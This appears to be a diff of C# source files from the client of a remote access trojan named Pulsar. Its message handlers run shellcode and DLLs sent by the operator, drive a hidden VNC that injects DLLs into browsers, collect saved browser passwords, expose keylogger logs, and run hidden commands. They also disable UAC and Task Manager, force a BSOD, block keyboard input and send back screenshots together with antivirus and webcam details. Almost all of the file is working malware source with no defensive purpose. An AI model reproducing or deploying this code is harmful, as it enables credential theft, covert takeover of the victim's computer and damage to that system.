private SwapMouseButtons _swapMouseButtons = new SwapMouseButtons();
private HideTaskbar _hideTaskbar = new HideTaskbar();
private KeyboardInput _keyboardInput = new KeyboardInput();
private CDTray _cdTray = new CDTray();
private MonitorPower _monitorPower = new MonitorPower();
private ShellcodeRunner _shellcodeRunner = new ShellcodeRunner();
private DllRunner _dllRunner = new DllRunner(); // Added DLL runner
public bool CanExecute(IMessage message) =>
message is DoBSOD ||
message is DoSwapMouseButtons ||
message is DoHideTaskbar ||
message is DoChangeWallpaper ||
message is DoBlockKeyboardInput ||
message is DoCDTray ||
message is DoMonitorsOff ||
message is DoSendBinFile;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoBSOD msg:
Execute(sender, msg);
break;
case DoSwapMouseButtons msg:
Execute(sender, msg);
break;
case DoHideTaskbar msg:
Execute(sender, msg);
break;
case DoChangeWallpaper msg:
Execute(sender, msg);
break;
case DoBlockKeyboardInput msg:
Execute(sender, msg);
break;
case DoCDTray msg:
Execute(sender, msg);
break;
case DoMonitorsOff msg:
Execute(sender, msg);
break;
case DoSendBinFile msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, DoSendBinFile message)
{
try
{
// Determine if this is shellcode or DLL based on message properties or content
if (IsDllPayload(message))
{
_dllRunner.Handle(message, client);
}
else
{
_shellcodeRunner.Handle(message, client);
}
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Failed to execute binary: {ex.Message}" });
}
}
private bool IsDllPayload(DoSendBinFile message)
{
// You can implement logic here to determine if the payload is a DLL
// Some possible approaches:
// 1. Check file extension if available in message
// if (!string.IsNullOrEmpty(message.FileName) && message.FileName.EndsWith(".dll", StringComparison.OrdinalIgnoreCase))
// return true;
// 2. Check for DLL signature (MZ header)
if (message.Data?.Length > 1 && message.Data[0] == 0x4D && message.Data[1] == 0x5A)
return true;
// 3. Add a property to DoSendBinFile message type to specify payload type
// return message.PayloadType == "dll";
// For now, default to shellcode execution
return false;
}
private void Execute(ISender client, DoCDTray message)
{
try
{
_cdTray.Handle(message);
client.Send(new SetStatus { Message = $"CD tray {(message.Open ? "opened" : "closed")} successfully" });
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Failed to {(message.Open ? "open" : "close")} CD tray: {ex.Message}" });
}
}
private void Execute(ISender client, DoMonitorsOff message)
{
try
{
_monitorPower.Handle(message);
client.Send(new SetStatus { Message = $"Monitors turned {(message.Off ? "off" : message.On ? "on" : "no action")} successfully" });
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Failed to change monitor state: {ex.Message}" });
}
}
private void Execute(ISender client, DoBSOD message)
{
client.Send(new SetStatus { Message = "Successful BSOD" });
_bsod.DOBSOD();
}
private void Execute(ISender client, DoSwapMouseButtons message)
{
try
{
SwapMouseButtons.SwapMouse();
client.Send(new SetStatus { Message = "Successfull Mouse Swap" });
}
catch
{
client.Send(new SetStatus { Message = "Failed to swap mouse buttons" });
}
}
private void Execute(ISender client, DoHideTaskbar message)
{
try
{
client.Send(new SetStatus { Message = "Successful Hide Taskbar" });
HideTaskbar.DoHideTaskbar();
}
catch
{
client.Send(new SetStatus { Message = "Failed to hide taskbar" });
}
}
private void Execute(ISender client, DoChangeWallpaper message)
{
try
{
string imagePath = SaveImageToFile(message.ImageData, message.ImageFormat);
ChangeWallpaper.SetWallpaper(imagePath);
client.Send(new SetStatus { Message = "Successful Wallpaper Change" });
}
catch
{
client.Send(new SetStatus { Message = "Failed to change wallpaper" });
}
}
private void Execute(ISender client, DoBlockKeyboardInput message)
{
try
{
_keyboardInput.Handle(message);
client.Send(new SetStatus { Message = $"Keyboard input {(message.Block ? "blocked" : "unblocked")} successfully" });
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Failed to {(message.Block ? "block" : "unblock")} keyboard input: {ex.Message}" });
}
}
private string SaveImageToFile(byte[] imageData, string imageFormat)
{
string tempPath = Path.Combine(Path.GetTempPath(), "wallpaper" + GetImageExtension(imageFormat));
using (MemoryStream ms = new MemoryStream(imageData))
{
Image image = Image.FromStream(ms);
image.Save(tempPath, GetImageFormat(imageFormat));
}
return tempPath;
}
private string GetImageExtension(string imageFormat)
{
switch (imageFormat?.ToLower())
{
case "jpeg":
case "jpg":
return ".jpg";
case "png":
return ".png";
case "bmp":
return ".bmp";
case "gif":
return ".gif";
default:
return ".img";
}
}
private ImageFormat GetImageFormat(string imageFormat)
{
switch (imageFormat?.ToLower())
{
case "jpeg":
case "jpg":
return ImageFormat.Jpeg;
case "png":
return ImageFormat.Png;
case "bmp":
return ImageFormat.Bmp;
case "gif":
return ImageFormat.Gif;
default:
throw new NotSupportedException($"Image format {imageFormat} is not supported.");
}
}
#region IDisposable Implementation
private bool _disposed = false;
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (!_disposed)
{
if (disposing)
{
_keyboardInput?.Dispose();
}
_disposed = true;
}
}
~FunStuffHandler()
{
Dispose(false);
}
#endregion
}
}
+416
View File
@@ -0,0 +1,416 @@
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Threading;
using System.Threading.Tasks;
using Pulsar.Client.Helper;
using Pulsar.Client.Helper.HVNC;
using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Monitoring.HVNC;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Common.Video;
using Pulsar.Common.Video.Codecs;
namespace Pulsar.Client.Messages
{
public class HVNCHandler : IMessageProcessor, IDisposable
{
private UnsafeStreamCodec _streamCodec;
private BitmapData _desktopData = null;
private Bitmap _desktop = null;
private ISender _clientMain;
private Thread _captureThread;
private CancellationTokenSource _cancellationTokenSource;
private readonly ImageHandler ImageHandler = new ImageHandler("PulsarDesktop");
private readonly InputHandler InputHandler = new InputHandler("PulsarDesktop");
private readonly ProcessController ProcessHandler = new ProcessController("PulsarDesktop");
// frame control variables
private readonly ConcurrentQueue<byte[]> _frameBuffer = new ConcurrentQueue<byte[]>();
private readonly AutoResetEvent _frameRequestEvent = new AutoResetEvent(false);
private int _pendingFrameRequests = 0;
//fps counting
private int _framesSent = 0;
private float _currentFps = 0f;
// max buffer size to prevent memory issues
private const int MAX_BUFFER_SIZE = 10;
private readonly Stopwatch _stopwatch = new Stopwatch();
public bool CanExecute(IMessage message)
{
return message is GetHVNCDesktop || message is DoHVNCInput || message is StartHVNCProcess || message is GetHVNCMonitors;
}
public bool CanExecuteFrom(ISender sender)
{
return true;
}
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetHVNCDesktop getDesktop:
Execute(sender, getDesktop);
break;
case DoHVNCInput doInput:
InputHandler.Input(doInput.msg, (IntPtr)doInput.wParam, (IntPtr)doInput.lParam);
break;
case StartHVNCProcess startHVNCProcess:
_ = ExecuteAsync(sender, startHVNCProcess);
break;
case GetHVNCMonitors _:
Execute(sender);
break;
}
}
private void Execute(ISender client, GetHVNCDesktop message)
{
if (message.Status == RemoteDesktopStatus.Stop)
{
StopScreenStreaming();
}
else if (message.Status == RemoteDesktopStatus.Start)
{
StartScreenStreaming(client, message);
}
else if (message.Status == RemoteDesktopStatus.Continue)
{
Interlocked.Add(ref _pendingFrameRequests, message.FramesRequested);
_frameRequestEvent.Set();
}
}
private void StartScreenStreaming(ISender client, GetHVNCDesktop message)
{
var monitorBounds = ScreenHelperCPU.GetBounds(message.DisplayIndex);
var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width };
if (_streamCodec == null)
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
if (message.CreateNew)
{
_streamCodec?.Dispose();
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
}
if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution)
{
_streamCodec?.Dispose();
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
}
_clientMain = client;
ClearFrameBuffer();
Interlocked.Exchange(ref _pendingFrameRequests, message.FramesRequested);
if (_captureThread == null || !_captureThread.IsAlive)
{
_cancellationTokenSource = new CancellationTokenSource();
_captureThread = new Thread(() => BufferedCaptureLoop(_cancellationTokenSource.Token, message.DisplayIndex))
{
IsBackground = true,
Name = "HVNC Capture Loop"
};
_captureThread.Start();
}
}
private void StopScreenStreaming()
{
_cancellationTokenSource?.Cancel();
if (_captureThread != null && _captureThread.IsAlive)
{
_frameRequestEvent.Set();
_captureThread.Join();
_captureThread = null;
}
if (_desktop != null)
{
if (_desktopData != null)
{
try
{
_desktop.UnlockBits(_desktopData);
}
catch
{
}
_desktopData = null;
}
_desktop.Dispose();
_desktop = null;
}
if (_streamCodec != null)
{
_streamCodec.Dispose();
_streamCodec = null;
}
ClearFrameBuffer();
Interlocked.Exchange(ref _pendingFrameRequests, 0);
}
private void BufferedCaptureLoop(CancellationToken cancellationToken, int displayIndex)
{
_stopwatch.Start();
while (!cancellationToken.IsCancellationRequested)
{
try
{
if (_frameBuffer.Count >= MAX_BUFFER_SIZE || _pendingFrameRequests <= 0)
{
_frameRequestEvent.WaitOne(500);
if (cancellationToken.IsCancellationRequested)
break;
continue;
}
byte[] frameData = CaptureFrame(displayIndex);
if (frameData != null)
{
_frameBuffer.Enqueue(frameData);
_framesSent++;
if (_stopwatch.ElapsedMilliseconds >= 1000)
{
_currentFps = _framesSent / (_stopwatch.ElapsedMilliseconds / 1000f);
_framesSent = 0;
_stopwatch.Restart();
}
}
while (_pendingFrameRequests > 0 && _frameBuffer.TryDequeue(out byte[] frameToSend))
{
SendFrameToServer(frameToSend, Interlocked.Decrement(ref _pendingFrameRequests) == 0);
}
}
catch (Exception)
{
Thread.Sleep(100);
}
}
}
private byte[] CaptureFrame(int displayIndex)
{
try
{
_desktop = ImageHandler.Screenshot(displayIndex);
if (_desktop == null)
{
return null;
}
const PixelFormat codecPixelFormat = PixelFormat.Format32bppArgb;
Bitmap processedBitmap = _desktop;
if (_desktop.PixelFormat != codecPixelFormat)
{
try
{
processedBitmap = new Bitmap(_desktop.Width, _desktop.Height, codecPixelFormat);
using (Graphics g = Graphics.FromImage(processedBitmap))
{
g.DrawImage(_desktop, 0, 0, _desktop.Width, _desktop.Height);
}
_desktop.Dispose();
_desktop = processedBitmap;
}
catch (Exception ex)
{
Debug.WriteLine($"Error converting pixel format: {ex.Message}");
// Continue with original bitmap if conversion fails
processedBitmap = _desktop;
}
}
_desktopData = processedBitmap.LockBits(new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
ImageLockMode.ReadWrite, processedBitmap.PixelFormat);
using (MemoryStream stream = new MemoryStream())
{
if (_streamCodec == null) throw new Exception("StreamCodec can not be null.");
_streamCodec.CodeImage(_desktopData.Scan0,
new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
new Size(processedBitmap.Width, processedBitmap.Height),
processedBitmap.PixelFormat, stream);
return stream.ToArray();
}
}
catch (Exception)
{
return null;
}
finally
{
if (_desktopData != null)
{
_desktop.UnlockBits(_desktopData);
_desktopData = null;
}
_desktop?.Dispose();
_desktop = null;
}
}
private void SendFrameToServer(byte[] frameData, bool isLastRequestedFrame)
{
if (frameData == null || _clientMain == null) return;
try
{
_clientMain.Send(new GetHVNCDesktopResponse
{
Image = frameData,
Quality = _streamCodec.ImageQuality,
Monitor = _streamCodec.Monitor,
Resolution = _streamCodec.Resolution,
Timestamp = DateTimeOffset.UtcNow.ToUnixTimeMilliseconds(),
IsLastRequestedFrame = isLastRequestedFrame,
Fps = _currentFps
});
}
catch (Exception)
{
}
}
private void ClearFrameBuffer()
{
while (_frameBuffer.TryDequeue(out _)) { }
}
private async Task ExecuteAsync(ISender client, StartHVNCProcess message)
{
try
{
string name = message.Path;
bool dontCloneProfile = message.DontCloneProfile;
byte[] dllBytes = message.DllBytes;
var browserPaths = new Dictionary<string, string>
{
{ "Chrome", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Google\\Chrome\\Application\\chrome.exe" },
{ "Edge", Environment.GetEnvironmentVariable("PROGRAMFILES(X86)") + "\\Microsoft\\Edge\\Application\\msedge.exe" },
{ "Brave", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" },
{ "Opera", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Opera\\opera.exe" },
{ "OperaGX", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Opera GX\\opera.exe" },
{ "Mozilla", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\firefox.exe" }
};
if (dontCloneProfile && browserPaths.TryGetValue(name, out string executablePath) && File.Exists(executablePath))
{
string browserProcess = name.ToLower().Replace("mozilla", "firefox").Replace("edge", "msedge").Replace("operagx", "opera");
string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {browserProcess}.exe /F";
Debug.WriteLine(killCommand);
ProcessHandler.CreateProc(killCommand);
await Task.Delay(1000).ConfigureAwait(false);
Debug.WriteLine($"Direct starting browser: {executablePath}");
ProcessHandler.CreateProc(executablePath);
return;
}
switch (name)
{
case "GenericChromium":
await ProcessHandler.StartGenericChromiumAsync(
dllBytes,
message.CustomBrowserPath,
message.CustomSearchPattern,
message.CustomReplacementPath
).ConfigureAwait(false);
break;
case "Chrome":
await ProcessHandler.StartChromeAsync(dllBytes).ConfigureAwait(false);
break;
case "Edge":
await ProcessHandler.StartEdgeAsync(dllBytes).ConfigureAwait(false);
break;
case "Brave":
await ProcessHandler.StartBraveAsync(dllBytes).ConfigureAwait(false);
break;
case "Opera":
await ProcessHandler.StartOperaAsync(dllBytes).ConfigureAwait(false);
break;
case "OperaGX":
await ProcessHandler.StartOperaGXAsync(dllBytes).ConfigureAwait(false);
break;
case "Explorer":
ProcessHandler.StartExplorer();
break;
case "Cmd":
ProcessHandler.StartCmd();
break;
case "Powershell":
ProcessHandler.StartPowershell();
break;
case "Mozilla":
await ProcessHandler.StartFirefoxAsync().ConfigureAwait(false);
break;
case "Discord":
ProcessHandler.StartDiscord();
break;
default:
ProcessHandler.StartGeneric(name);
break;
}
}
catch (Exception ex)
{
Debug.WriteLine($"HVNC process start failed: {ex.Message}");
}
}
private void Execute(ISender client)
{
int monitorCount = ImageHandler.GetMonitorCount();
Debug.WriteLine($"HVNC: Sending monitor count: {monitorCount}");
client.Send(new GetHVNCMonitorsResponse { Number = monitorCount });
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
Debug.WriteLine("HVNC Handler Disposed");
StopScreenStreaming();
ImageHandler.Dispose();
InputHandler.Dispose();
_streamCodec?.Dispose();
_cancellationTokenSource?.Dispose();
_frameRequestEvent?.Dispose();
}
}
}
}
@@ -0,0 +1,30 @@
using Pulsar.Client.Config;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Monitoring.KeyLogger;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
namespace Pulsar.Client.Messages
{
public class KeyloggerHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is GetKeyloggerLogsDirectory;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetKeyloggerLogsDirectory msg:
Execute(sender, msg);
break;
}
}
public void Execute(ISender client, GetKeyloggerLogsDirectory message)
{
client.Send(new GetKeyloggerLogsDirectoryResponse {LogsDirectory = Settings.LOGSPATH });
}
}
}
@@ -0,0 +1,57 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Messages.UserSupport.MessageBox;
using Pulsar.Common.Networking;
using System;
using System.Threading;
using System.Windows.Forms;
namespace Pulsar.Client.Messages
{
public class MessageBoxHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoShowMessageBox;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
if (message is DoShowMessageBox msg)
Execute(sender, msg);
}
private void Execute(ISender client, DoShowMessageBox message)
{
new Thread(() =>
{
try
{
var buttons = (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), message.Button);
var icon = (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), message.Icon);
DialogResult result = MessageBox.Show(
message.Text,
message.Caption,
buttons,
icon,
MessageBoxDefaultButton.Button1,
MessageBoxOptions.DefaultDesktopOnly);
// Send which button the user clicked
client.Send(new SetStatus
{
Message = $"MessageBox result: {result}"
});
}
catch (Exception ex)
{
client.Send(new SetStatus
{
Message = $"Error showing MessageBox: {ex.Message}"
});
}
})
{ IsBackground = true }.Start();
}
}
}
@@ -0,0 +1,11 @@
using Pulsar.Common.Messages;
namespace Pulsar.Client.Messages
{
public abstract class NotificationMessageProcessor : MessageProcessorBase<string>
{
protected NotificationMessageProcessor() : base(true)
{
}
}
}
@@ -0,0 +1,120 @@
using Pulsar.Client.Recovery;
using Pulsar.Client.Recovery.Browsers;
using Pulsar.Client.Recovery.Crawler;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Monitoring.Passwords;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
using System.Diagnostics;
//public struct BrowserChromium
//{
// public string Name;
// public string Path;
// public string LocalState;
// public ProfileChromium[] Profiles;
//}
//public struct ProfileChromium
//{
// public string Name;
// public string LoginData;
// public string Path;
//}
//public struct BrowserGecko
//{
// public string Name;
// public string Path;
// public string Key4;
// public string Logins;
//}
namespace Pulsar.Client.Messages
{
public class PasswordRecoveryHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is GetPasswords;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetPasswords msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, GetPasswords message)
{
List<RecoveredAccount> recovered = new List<RecoveredAccount>();
//var passReaders = new IAccountReader[]
//{
// new BravePassReader(),
// new ChromePassReader(),
// new OperaPassReader(),
// new OperaGXPassReader(),
// new EdgePassReader(),
// new YandexPassReader(),
// new FirefoxPassReader(),
// new InternetExplorerPassReader(),
// new FileZillaPassReader(),
// new WinScpPassReader()
//};
//foreach (var passReader in passReaders)
//{
// try
// {
// recovered.AddRange(passReader.ReadAccounts());
// }
// catch (Exception e)
// {
// Debug.WriteLine(e);
// }
//}
List<Recovery.Browsers.AllBrowsers> browsers = Crawl.Start();
foreach (var browser in browsers)
{
foreach (var chromium in browser.Chromium)
{
foreach (var profile in chromium.Profiles)
{
try
{
recovered.AddRange(ChromiumBase.ReadAccounts(profile.LoginData, chromium.LocalState, chromium.Name));
}
catch (Exception e)
{
Debug.WriteLine(e);
}
}
}
foreach (var gecko in browser.Gecko)
{
try
{
recovered.AddRange(FirefoxPassReader.ReadAccounts(gecko.ProfilesDir, gecko.Name));
}
catch (Exception e)
{
Debug.WriteLine(e);
}
//Debug.WriteLine(gecko.Path);
}
}
client.Send(new GetPasswordsResponse { RecoveredAccounts = recovered });
}
}
}
+37
View File
@@ -0,0 +1,37 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using System;
using System.Diagnostics;
namespace Pulsar.Client.Messages
{
/// <summary>
/// Handles ping requests from the server.
/// </summary>
public class PingHandler : IMessageProcessor
{
/// <inheritdoc />
public bool CanExecute(IMessage message) => message is PingRequest;
/// <inheritdoc />
public bool CanExecuteFrom(ISender sender) => true;
/// <inheritdoc />
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case PingRequest pingRequest:
Execute(sender, pingRequest);
break;
}
}
private void Execute(ISender client, PingRequest message)
{
// respond fast ash
client.Send(new PingResponse());
}
}
}
+160
View File
@@ -0,0 +1,160 @@
using Pulsar.Client.Helper;
using Pulsar.Client.IO;
using Pulsar.Client.User;
using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Messages.Preview;
using Pulsar.Common.Networking;
using Pulsar.Common.Video;
using Pulsar.Common.Video.Codecs;
using System;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
namespace Pulsar.Client.Messages
{
public class PreviewHandler : NotificationMessageProcessor, IDisposable
{
private UnsafeStreamCodec _streamCodec;
private BitmapData _desktopData = null;
private Bitmap _desktop = null;
private int _displayIndex = 0;
private ISender _clientMain;
public override bool CanExecute(IMessage message) => message is GetPreviewImage;
public override bool CanExecuteFrom(ISender sender) => true;
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetPreviewImage msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, GetPreviewImage message)
{
Debug.WriteLine("Capturing single desktop image");
_displayIndex = message.DisplayIndex;
_clientMain = client;
var monitorBounds = ScreenHelperCPU.GetBounds(message.DisplayIndex);
var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width };
if (_streamCodec == null)
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution)
{
_streamCodec?.Dispose();
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
}
CaptureAndSendScreen();
}
private void CaptureAndSendScreen()
{
try
{
_desktop = ScreenHelperCPU.CaptureScreen(_displayIndex, true);
if (_desktop == null)
{
Debug.WriteLine("Error capturing screen: Bitmap is null");
return;
}
const PixelFormat codecPixelFormat = PixelFormat.Format32bppArgb;
Bitmap processedBitmap = _desktop;
if (_desktop.PixelFormat != codecPixelFormat)
{
try
{
processedBitmap = new Bitmap(_desktop.Width, _desktop.Height, codecPixelFormat);
using (Graphics g = Graphics.FromImage(processedBitmap))
{
g.DrawImage(_desktop, 0, 0, _desktop.Width, _desktop.Height);
}
_desktop.Dispose();
_desktop = processedBitmap;
}
catch (Exception ex)
{
Debug.WriteLine($"Error converting pixel format: {ex.Message}");
processedBitmap = _desktop;
}
}
_desktopData = processedBitmap.LockBits(new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
ImageLockMode.ReadWrite, processedBitmap.PixelFormat);
using (MemoryStream stream = new MemoryStream())
{
if (_streamCodec == null) throw new Exception("StreamCodec can not be null.");
_streamCodec.CodeImage(_desktopData.Scan0,
new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
new Size(processedBitmap.Width, processedBitmap.Height),
processedBitmap.PixelFormat, stream);
_clientMain.Send(new GetPreviewResponse
{
Image = stream.ToArray(),
Quality = _streamCodec.ImageQuality,
Monitor = _streamCodec.Monitor,
Resolution = _streamCodec.Resolution,
CPU = HardwareDevices.CpuName,
GPU = HardwareDevices.GpuNames,
RAM = HardwareDevices.TotalPhysicalMemory.ToString(),
Uptime = SystemHelper.GetUptime(),
AV = SystemHelper.GetAntivirus(),
MainBrowser = SystemHelper.GetDefaultBrowser(),
HasWebcam = (WebcamHelper.GetWebcams()?.Length > 0),
AFKTime = ActivityDetection.UserIdleTime().ToString()
});
_streamCodec = null;
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error capturing screen: {ex.Message}");
}
finally
{
if (_desktopData != null)
{
_desktop.UnlockBits(_desktopData);
_desktopData = null;
}
_desktop?.Dispose();
_desktop = null;
}
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this message processor.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
_streamCodec?.Dispose();
}
}
}
}
+100
View File
@@ -0,0 +1,100 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Messages.Monitoring.Query;
using Pulsar.Common.Models.Query.Browsers;
using Pulsar.Common.Messages.Monitoring.Query.Browsers;
namespace Pulsar.Client.Messages
{
class QueryHandler
{
public bool CanExecute(IMessage message) => message is GetBrowsers;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetBrowsers msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, GetBrowsers message)
{
// get the browsers on the users computer
var browsers = new List<QueryBrowsers>();
using (var hklmKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Clients\StartMenuInternet"))
{
if (hklmKey != null)
{
foreach (var browserKey in hklmKey.GetSubKeyNames())
{
using (var browserProps = hklmKey.OpenSubKey(browserKey))
{
var browserName = browserProps?.GetValue(null)?.ToString();
using (var commandProps = browserProps?.OpenSubKey(@"shell\open\command"))
{
var command = commandProps?.GetValue(null)?.ToString();
var exePath = GetExecutablePath(command);
if (!string.IsNullOrEmpty(browserName) && !string.IsNullOrEmpty(exePath))
{
browsers.Add(new QueryBrowsers { Browser = browserName, Location = exePath });
}
}
}
}
}
}
using (var hkcuKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Clients\StartMenuInternet"))
{
if (hkcuKey != null)
{
foreach (var browserKey in hkcuKey.GetSubKeyNames())
{
using (var browserProps = hkcuKey.OpenSubKey(browserKey))
{
var browserName = browserProps?.GetValue(null)?.ToString();
using (var commandProps = browserProps?.OpenSubKey(@"shell\open\command"))
{
var command = commandProps?.GetValue(null)?.ToString();
var exePath = GetExecutablePath(command);
if (!string.IsNullOrEmpty(browserName) && !string.IsNullOrEmpty(exePath))
{
browsers.Add(new QueryBrowsers { Browser = browserName, Location = exePath });
}
}
}
}
}
}
// remove dups
browsers = browsers.GroupBy(b => b.Browser).Select(g => g.First()).ToList();
client.Send(new GetBrowsersResponse { QueryBrowsers = browsers });
}
private string GetExecutablePath(string command)
{
if (string.IsNullOrEmpty(command))
{
return null;
}
var match = System.Text.RegularExpressions.Regex.Match(command, @"(?<path>""[^""]+\.exe""|\S+\.exe)");
return match.Success ? match.Groups["path"].Value.Trim('"') : null;
}
}
}
@@ -0,0 +1,84 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Networking;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Messages.QuickCommands;
using System.Diagnostics;
using Pulsar.Client.Helper.TaskManager;
using Pulsar.Client.Helper.UAC;
namespace Pulsar.Client.Messages
{
public class QuickCommandHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoSendQuickCommand || message is DoEnableTaskManager || message is DoDisableTaskManager || message is DoDisableUAC || message is DoEnableUAC;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoSendQuickCommand msg:
Execute(sender, msg);
break;
case DoEnableTaskManager msg:
Execute(sender, msg);
break;
case DoDisableTaskManager msg:
Execute(sender, msg);
break;
case DoDisableUAC msg:
Execute(sender, msg);
break;
case DoEnableUAC msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, DoSendQuickCommand message)
{
client.Send(new SetStatus { Message = "Successful Quick Command" });
Debug.WriteLine(message.Host + " " + message.Command);
//execute a new powershell with the command
Process process = new Process();
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.FileName = message.Host;
startInfo.Arguments = message.Command;
process.StartInfo = startInfo;
process.Start();
}
private void Execute(ISender client, DoEnableTaskManager message)
{
client.Send(new SetStatus { Message = "Task Manager Enabled" });
TaskManager.Enable();
}
private void Execute(ISender client, DoDisableTaskManager message)
{
client.Send(new SetStatus { Message = "Task Manager Disabled" });
TaskManager.Disable();
}
private void Execute(ISender client, DoDisableUAC message)
{
client.Send(new SetStatus { Message = "UAC Disabled. Requires Restart" });
UACToggle.DisableUAC();
}
private void Execute(ISender client, DoEnableUAC message)
{
client.Send(new SetStatus { Message = "UAC Enabled. Requires Restart" });
UACToggle.EnableUAC();
}
}
}
+230
View File
@@ -0,0 +1,230 @@
using Pulsar.Client.Extensions;
using Pulsar.Client.Helper;
using Pulsar.Client.Registry;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.RegistryEditor;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
using Pulsar.Common.Networking;
using System;
namespace Pulsar.Client.Messages
{
public class RegistryHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoLoadRegistryKey ||
message is DoCreateRegistryKey ||
message is DoDeleteRegistryKey ||
message is DoRenameRegistryKey ||
message is DoCreateRegistryValue ||
message is DoDeleteRegistryValue ||
message is DoRenameRegistryValue ||
message is DoChangeRegistryValue;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoLoadRegistryKey msg:
Execute(sender, msg);
break;
case DoCreateRegistryKey msg:
Execute(sender, msg);
break;
case DoDeleteRegistryKey msg:
Execute(sender, msg);
break;
case DoRenameRegistryKey msg:
Execute(sender, msg);
break;
case DoCreateRegistryValue msg:
Execute(sender, msg);
break;
case DoDeleteRegistryValue msg:
Execute(sender, msg);
break;
case DoRenameRegistryValue msg:
Execute(sender, msg);
break;
case DoChangeRegistryValue msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, DoLoadRegistryKey message)
{
GetRegistryKeysResponse responsePacket = new GetRegistryKeysResponse();
try
{
RegistrySeeker seeker = new RegistrySeeker();
seeker.BeginSeeking(message.RootKeyName);
responsePacket.Matches = seeker.Matches;
responsePacket.IsError = false;
}
catch (Exception e)
{
responsePacket.IsError = true;
